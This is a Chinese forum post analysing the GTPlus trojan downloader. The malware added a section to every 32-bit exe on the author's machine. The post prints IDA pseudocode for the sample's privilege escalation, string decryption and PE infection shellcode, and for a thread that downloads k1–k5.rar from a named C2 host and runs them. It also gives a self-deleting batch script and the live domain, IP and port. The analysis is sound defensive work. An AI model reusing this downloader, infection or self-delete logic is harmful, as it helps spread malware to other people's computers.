社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 2651阅读
  • 3回复

[分享]GTPlus下载者样本分析

楼层直达
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8



前言


因为我偶然间看到 我用bandizip 解压压缩包时, 火绒报毒

然后第二天我的 advanced archive passwod 打不开了, 还弹出了奇怪的报错,说是 64位windows 不能打开 16位程序,我直接纳闷
然后我修复了电脑,重新启动了一下,火绒直接报毒,emmm, 我一扫,才发现,tmd全盘exe32 都被干了!!! 就开始了这个样本的分析
被感染的文件, 报 HVM:TrojanDownloader/Small.gen!A  或 Virus/Jadtre.ax
样本本体, 报 TrojanDownloader/GTplus

信息收集


程序活动分析

使用工具:
  1. 火绒剑
  2. studype+
  3. 微步云沙箱


文件遍历


遍历并修改所有exe文件

所有被修改的 exe 文件都增加了一个区段, 区段名称为 随机字符串

区段内含有一个 母体exe
这里的 exe 仅仅是 32位exe

网络活动



63.251.106.25
ddos.dnsnb8.net
ddos.dnsnb8.net:799/cj//k5.rar
ddos.dnsnb8.net:799/cj//k4.rar
k3.rar   k2.rar   k1.rar

刚好对应

注册表


HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeGTplusTime 处写下内容, 盲猜是时间

创建文件


在 Temp 文件夹内创建 名为 6AFB5029.exe 的母体

微步云线索




详细分析


使用工具:
  1. ida pro
  2. x64dbg

程序流程大概是:
start ->  main  
main 函数有五个动作

权限提升


如果 windows 版本在 6.0 以上,就不执行提权 复制代码 隐藏代码// windows 权限提升函数// 如果windows版本在 windows vista 下面,就执行提权int get_privilege(){  unsigned int v1; // eax  int v2; // ebx  unsigned int v3; // ebx  struct _OSVERSIONINFOA VersionInformation; // [esp+10h] [ebp-D0h] BYREF  int v6[2]; // [esp+B4h] [ebp-2Ch] BYREF  struct _LUID Luid; // [esp+BCh] [ebp-24h] BYREF  char v8[4]; // [esp+C4h] [ebp-1Ch] BYREF  int v9; // [esp+C8h] [ebp-18h]  int v10; // [esp+CCh] [ebp-14h] BYREF  unsigned int v11; // [esp+D0h] [ebp-10h]  unsigned int v12; // [esp+D4h] [ebp-Ch]  int v13; // [esp+D8h] [ebp-8h]  int v14; // [esp+DCh] [ebp-4h]  VersionInformation.dwOSVersionInfoSize = 156; // 结构体在使用前需要对该成员填充该结构体的大小  GetVersionExA(&VersionInformation);  if ( VersionInformation.dwMajorVersion < 6 )  // 这里判断 windows 版本,如果低于 windows Vista 版本,就尝试提权  {    if ( LookupPrivilegeValueA(0, Name, &Luid) ? sub_AA119F((int)&Luid) : 0 )    {      v1 = sub_AA120E();      if ( v1 )      {        if ( VersionInformation.dwMinorVersion == 1 )        {          v2 = v1 + 132;          v14 = v1 + 132;        }        else        {          if ( VersionInformation.dwMinorVersion != 2 )            return 0;          v14 = v1 + 148;          v2 = v1 + 148;        }

注册表操作


读取和写入

注册表路径: HKEY_LOCAL_MACHINE     SOFTWAREGTPlus     Time   这里路径,随系统不固定, 因为使用的是 SHSetValueA SHGetValueA api如果传参为1: 从注册表指定路径中查询 是否写入的有时间,如果有,返回1,反之返回0如果传参为2: 从注册表指定路径,创建注册key项, 并写入当前时间,返回0
复制代码 隐藏代码int __stdcall register_operating(DWORD pcbData){  unsigned __int64 pvData; // [esp+10h] [ebp-1Ch] BYREF  struct _FILETIME SystemTimeAsFileTime; // [esp+18h] [ebp-14h] BYREF  DWORD pdwType; // [esp+20h] [ebp-Ch] BYREF  int v5; // [esp+24h] [ebp-8h]  v5 = 0;  GetSystemTimeAsFileTime(&SystemTimeAsFileTime);// 获取指向时间的指针  if ( pcbData == 2 )  {    SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, 3u, &SystemTimeAsFileTime, 8u);// 将时间数据写入到注册表中  }  else if ( pcbData == 1 )  {    pcbData = 8;    if ( !SHGetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, &pdwType, &pvData, &pcbData)// 查询写入的时间      && *(unsigned __int64 *)&SystemTimeAsFileTime / 0x2710 - pvData / 0x2710 < 0x5265C00 )    {      v5 = 1;    }  }  return v5;}

数据解密操作


算法看不懂, 但值得一提的是,一共解了  1740 字节,我看了下,是后门的hostname , 以及要用到的系统字符串 等,杂七杂八的东西 复制代码 隐藏代码int __userpurge data_decrypted@<eax>(int a1@<eax>, int *a2@<edi>, int a3){  int *v4; // eax  char v5; // si  int *v6; // edx  int *v7; // [esp+8h] [ebp-Ch]  char v8; // [esp+Ch] [ebp-8h]  int v9; // [esp+10h] [ebp-4h]  int v10; // [esp+10h] [ebp-4h]  if ( (a1 & 3) != 0 )    return 0;  v7 = (int *)((char *)a2 + a1 - 4);  v4 = a2;  v5 = -4 - (_BYTE)a2;  do  {    v6 = v4 + 1;    v8 = (v5 + (_BYTE)v4 + 4) & 0x1F;    v9 = *v4;    if ( ((v5 + (_BYTE)v4 + 4) & 4) != 0 )      v10 = __ROR4__(v9, v8);    else      v10 = __ROL4__(v9, v8);    *v4++ = *v6 + a3 + ~(a3 ^ v10);  }  while ( v6 < v7 );  *v6 = a3 ^ ~__ROL4__(a3 + *v6, ((_BYTE)v6 - (_BYTE)a2) & 0x1F);  return 1;}

启动一个下载后门线程


CreateThread  直接启动,然后就 waitsignedobject 等待线程结束 复制代码 隐藏代码DWORD __stdcall download_blackdoor_thread(LPVOID lpThreadParameter){  const char *v1; // edi  int v2; // eax  const CHAR *v3; // eax  bool v4; // zf  int v5; // eax  CHAR v7[1024]; // [esp+0h] [ebp-50Ch] BYREF  CHAR CmdLine[260]; // [esp+400h] [ebp-10Ch] BYREF  unsigned int v9; // [esp+504h] [ebp-8h] 此函数为了下载专用, 下载更新的exe 或者其他后门  LPCSTR lpString; // [esp+508h] [ebp-4h]  v9 = 0;  for ( lpString = &byte_AA4748; v9 < dword_AA494C; ++v9 )// k1.rar 一直到 k5.rar  {    v1 = &String;    if ( String )    {      do      {        while ( 1 )        {          v5 = get_rand_hex();          wsprintfA(CmdLine, "%s%.8X.exe", cur_system_temp_dir, v5);// 拼接到系统temp目录下的exe 文件          wsprintfA(v7, "http://%s:%d/%s/%s", v1, dword_AA4948, word_AA4708, lpString);// 解密后的网址+ 端口号+路径          if ( URLDownloadToFileA(0, v7, CmdLine, 0, 0) )// ddos.dnsnb8.net:799/cj//k1.rar    63.251.106.25:799            break;          vitrualfree2file(CmdLine);          WinExec(CmdLine, 5u);          v2 = lstrlenA(lpString);          v3 = &lpString[v2 + 1];          v4 = *v3 == 0;          lpString = v3;          if ( v4 )            return 0;        }        v1 += lstrlenA(v1) + 1;        Sleep(dwMilliseconds);      }      while ( *v1 );    }  }  return 0;}
就拼接网址+文件   ddos.dnsnb8.net:799/cj//k1.rar   k1 - k5
通过 URLDownloadToFileA 下载到本地  
文件名称规则: system_temp 文件夹+ 随机hex字符串.exe
顺便把下载下来的文件 WinExec 执行一下, 我经过调试发现, 下载下来的内容一般为 foo , 然后解密后得到 4d5a
中间会歇上 3441092776 毫秒

PE感染


先复制自身到内存中
然后起一个线程, 遍历所有盘符 , 这里有个要求,该设备不为 cdrom 和 unknow , 盘符不为 A, B,   然后对着这些符合条件的  创建一个线程, 遍历该盘所有文件, 对符合条件的进行pe 感染操作(这里我还没调试)
这里面很多东西 ida 伪代码无法显示出来, 我也没动调
老的 exe 文件 开一个新区段,名称随机  写入 oep_shellcode , 再把自身(带有upx壳子)写入到 新区段中

55 8b ec 为func 开始的地方 表示指令为 push ebp,  mov ebp, espc9 c3 为func结束的地方 表示指令为 leave, ret

中间 C9 c3 和 4d 5a 90 之间有一点数据,不知道是啥
这里分析了一下 shellcode 复制代码 隐藏代码// 新的pe 文件的起始点: shellcode// write access to const memory has been detected, the output may be wrong!int oep_shellcode(){  int v0; // eax  _DWORD *v1; // ecx  int v2; // edi  int v3; // ebx  int v4; // esi  unsigned int v5; // ecx  int v6; // esi  int v7; // edi  int v8; // ebx  unsigned int v9; // edx  int v10; // esi  int v11; // edx  int v12; // ecx  int (__stdcall *g_GetModuleHandleA)(_DWORD); // esi  int v14; // ecx  int result; // eax  int v16; // esi  _DWORD *v17; // eax  int v18; // ecx  char v19[260]; // [esp+Ch] [ebp-16Ch] BYREF  char v20[32]; // [esp+110h] [ebp-68h] BYREF  int v21; // [esp+130h] [ebp-48h] BYREF  int v22[3]; // [esp+134h] [ebp-44h] BYREF  unsigned int v23; // [esp+144h] [ebp-34h]  int v24; // [esp+148h] [ebp-30h]  char v25[4]; // [esp+14Ch] [ebp-2Ch] BYREF  struct _PEB *v26; // [esp+150h] [ebp-28h]  int (__stdcall *g_GetModuleHandleA_1)(_DWORD); // [esp+154h] [ebp-24h]  void (__stdcall *g_GetTempPathA)(int, char *); // [esp+158h] [ebp-20h]  unsigned int v29; // [esp+15Ch] [ebp-1Ch]  void (__stdcall *g_lstrcatA)(char *, int *); // [esp+160h] [ebp-18h]  void (__stdcall *g_WriteFile)(int, _DWORD *, unsigned int, char *, _DWORD); // [esp+164h] [ebp-14h]  int (__stdcall *g_CreateFileA)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD); // [esp+168h] [ebp-10h]  int (__stdcall *g_WinExec)(char *, int); // [esp+16Ch] [ebp-Ch]  void (__stdcall *g_CloseHandle)(int); // [esp+170h] [ebp-8h]  _DWORD *v35; // [esp+174h] [ebp-4h]  g_GetModuleHandleA_1 = 0;  g_CreateFileA = 0;  g_WriteFile = 0;                              // peb获取 kernel的基质,然后解析pe 导出表, 获取几个函数的地址  g_CloseHandle = 0;  g_WinExec = 0;  g_GetTempPathA = 0;  g_lstrcatA = 0;  v21 = 0x11111111;  qmemcpy(v22, """""3333DDDD", sizeof(v22));  v35 = &locret_AA4271;  v26 = NtCurrentPeb();  locret_AA4271 = 0xE904C483;  *((_DWORD *)&locret_AA4271 + 1) = 0xAAAAAAAA;  v0 = *(_DWORD *)(**((_DWORD **)v26->ImageBaseAddress + 7) + 8);LABEL_2:  v1 = (_DWORD *)(v0 + *(_DWORD *)(*(_DWORD *)(v0 + 60) + v0 + 120));  v2 = v1[7];  v3 = v1[8];  v4 = v1[9];  v5 = v1[6];  v6 = v0 + v4;  v7 = v0 + v2;  v8 = v0 + v3;  v9 = 0;  v24 = v6;  v29 = 0;  v23 = v5;  while ( v9 < v23 )  {    v10 = *(_DWORD *)(v7 + 4 * *(unsigned __int16 *)(v6 + 2 * v9));    v11 = v0 + *(_DWORD *)(v8 + 4 * v9);    v12 = *(_DWORD *)v11;    g_GetModuleHandleA = (int (__stdcall *)(_DWORD))(v0 + v10);    if ( *(_DWORD *)v11 == 'MteG'      && *(_DWORD *)(v11 + 4) == 'ludo'      && *(_DWORD *)(v11 + 8) == 'naHe'      && *(_DWORD *)(v11 + 12) == 'Aeld'      && !*(_BYTE *)(v11 + 16) )    {                                           // GetModuleHandleA      if ( !g_GetModuleHandleA_1 )      {        g_GetModuleHandleA_1 = g_GetModuleHandleA;        strcpy(v20, "Kernel32.dll");        v0 = g_GetModuleHandleA(v20);        goto LABEL_2;      }    }    else if ( v12 == 'EniW' && *(_DWORD *)(v11 + 4) == 'cex' )    {      g_WinExec = (int (__stdcall *)(char *, int))g_GetModuleHandleA;// WinExec    }    else if ( v12 == 'solC' && *(_DWORD *)(v11 + 4) == 'naHe' && *(_DWORD *)(v11 + 8) == 'eld' )    {      g_CloseHandle = (void (__stdcall *)(int))g_GetModuleHandleA;// CloseHandle    }    else if ( v12 == 'tirW' && *(_DWORD *)(v11 + 4) == 'liFe' && *(_WORD *)(v11 + 8) == 'e' )    {      g_WriteFile = (void (__stdcall *)(int, _DWORD *, unsigned int, char *, _DWORD))g_GetModuleHandleA;// WriteFile    }    else    {      v14 = *(_DWORD *)v11;      if ( *(_DWORD *)v11 == 'aerC' && *(_DWORD *)(v11 + 4) == 'iFet' && *(_DWORD *)(v11 + 8) == 'Ael' )      {        g_CreateFileA = (int (__stdcall *)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD))g_GetModuleHandleA;// CreateFileA      }      else if ( v14 == 'TteG' && *(_DWORD *)(v11 + 4) == 'Ppme' && *(_DWORD *)(v11 + 8) == 'Ahta' )      {        g_GetTempPathA = (void (__stdcall *)(int, char *))g_GetModuleHandleA;// GetTempPathA      }      else if ( v14 == 'rtsl' && *(_DWORD *)(v11 + 4) == 'Atac' )      {        g_lstrcatA = (void (__stdcall *)(char *, int *))g_GetModuleHandleA;// lstrcatA      }    }    if ( g_GetModuleHandleA_1      && g_CreateFileA      && g_WriteFile      && g_CloseHandle      && g_WinExec      && g_GetTempPathA      && g_lstrcatA )    {      break;    }    ++v29;    v6 = v24;    v9 = v29;  }  g_GetTempPathA(260, v19);                     // 获取系统temp目录  g_lstrcatA(v19, &v21);                        // 目录拼接  result = g_CreateFileA(v19, 0xC0000000, 0, 0, 2, 128, 0);// 创建文件  v16 = result;  if ( result != -1 )  {    v17 = v35;                                  // 从该函数尾部开始查找exe 文件,然后将exe文件写入到刚才创建的文件    v18 = 0;    while ( *v17 != 0x905A4D )    {      v17 = (_DWORD *)((char *)v17 + 1);      if ( ++v18 >= 500 )        goto LABEL_47;    }    g_WriteFile(v16, v17, 0xCCCCCCCC, v25, 0);LABEL_47:    g_CloseHandle(v16);    result = g_WinExec(v19, 5);                 // 执行该exe文件  }  return result;}
因为没有动调,我不确定,他是否真的获取到了kernel32 的基址,有可能是  kernelbase  的基址, win7 以后老版本的shellcode 只能获取到 kernelbase的基址了
后面执行的函数,就是继续执行自己
winExec 第二个参数, 我查了下官方文档, 5 对应着  SW_SHOW ,就是正常启动该窗口罢了

自删除


这个自删除比较骚
这里不断进行删除自身exe,然后判断自身exe是否还存在,存在则继续删除自身exe, 不存在,则删除脚本exe 复制代码 隐藏代码:DELFILEdel "C:Usersm1n9yu3Desktop样本.exe"if exist "C:Usersm1n9yu3Desktop样本.exe" goto :DELFILEdel "C:Usersm1n9yu3AppDataLocalTemp35507285.bat"
这里的 c 代码,就是把上面的bat脚本写到 系统 temp 目录下, 然后执行   , 这里  ShellExecuteA  是异步的,就是说,就算程序结束了, 该脚本也会继续执行 复制代码 隐藏代码void *auto_del_self(){  int v0; // eax  int v1; // ebx  void *result; // eax  void *v3; // edi  BOOL v4; // ebx  CHAR String[2048]; // [esp+Ch] [ebp-908h] BYREF 看着像自删除  CHAR FileName[260]; // [esp+80Ch] [ebp-108h] BYREF  DWORD NumberOfBytesWritten; // [esp+910h] [ebp-4h] BYREF  v0 = get_rand_hex();  wsprintfA(FileName, "%s%.8x.bat", cur_system_temp_dir, v0);  wsprintfA(    String,    ":DELFILErndel "%s"rnif exist "%s" goto :DELFILErndel "%s"rn",    pszPath,    pszPath,    FileName);  v1 = lstrlenA(String);  result = CreateFileA(FileName, 0xC0000000, 0, 0, 2u, 0, 0);  v3 = result;  if ( result != (void *)-1 )  {    v4 = WriteFile(result, String, v1, &NumberOfBytesWritten, 0);    result = (void *)CloseHandle(v3);    if ( v4 )      result = ShellExecuteA(0, Operation, FileName, 0, 0, 0);  }  return result;                                }

总结


分析过样本之后, 对 win32 api 有了一层新的认识, 以后分析这个起来,肯定会更加得心应手, 嘻嘻
本帖最近评分记录: 1 条评分 飞扬币 +50
爱我中华 飞扬币 +50 2021-11-06 社区因为有您的参与更精彩!
关键词: bot 系统 下载 更新
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 茶馆馆主
发帖
563727
飞翔币
199303
威望
3696
飞扬币
2869165
信誉值
0

只看该作者 1 发表于: 2021-11-06
长知识了
级别: 超级版主
发帖
837479
飞翔币
228822
威望
224673
飞扬币
2467358
信誉值
0

只看该作者 2 发表于: 2021-11-07
来看一下
级别: 超级版主
发帖
837479
飞翔币
228822
威望
224673
飞扬币
2467358
信誉值
0

只看该作者 3 发表于: 2021-11-07
不错,了解了